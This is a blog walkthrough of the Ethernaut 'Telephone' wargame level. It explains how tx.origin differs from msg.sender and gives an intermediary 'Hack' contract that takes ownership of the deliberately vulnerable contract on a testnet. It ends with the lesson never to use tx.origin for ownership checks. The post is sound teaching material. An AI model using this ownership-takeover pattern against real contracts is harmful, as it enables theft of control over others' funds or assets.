Ethernaut Walkthrough — Level 4: Telephone

Published on Dec 06, 2021

This level focuses in on the difference between tx.origin and msg.sender, which sometimes get mixed up. Let's take a look at the code in this level first.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {
  address public owner;
  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

What we see is that the owner is the msg.sender. When calling the changeOwner() function, we can set the owner to another address but only if the tx.origin is different from the msg.sender.

If we know what the difference between the two is, we can start creating our attack.

tx.origin

This is the origin address that kicked of a transaction in the first place. Imagine a transaction started with Metamask and account A, sending money to contract B which sends money to another contract C. In C, the tx.origin would be A.

msg.sender

We take the same example as the one above. Imagine a transaction started with Metamask and account A, sending money to contract B which sends money to another contract C. In C, the msg.sender would be B.

The attack

In level 4, we simply need to call the changeOwner() method indirectly from another address than our own, otherwise the msg.sender would be the same as the tx.origin.

The solution is setting up a new contract that calls this function. This might look something like this on Remix:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Hack {
    function doIt() public {
        // msg.sender will be the contract address
        // tx.origin will be the original sender (Metamask public key)
        address contractAddress = 0x638f7A3DF5683Fd9b22eC153bf888Ca16e5F1De7;
        Telephone originalPhoneContract = Telephone(contractAddress);
        originalPhoneContract.changeOwner(0x2E5090E6f147B84Aa6bBe6483acD3AfBedECCdDB);
    }
}

Now all we need to do is deploy to Rinkeby (remember to select Injected Web3) as your environment and connect Metamask to Rinkeby. Once deployed, call the method doIt() from your correct Metamask account.

Don't forget to change the code above with your own contractAddress and Owner address.

After that, verify ownership in the Ethernaut console as follows and submit your instance.

Security lessons learned

Never use tx.origin to verify ownership, because this could lead to some nasty attacks as described clearly in the Solidity docs.

Continue from here

Here's my solution for level 5

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.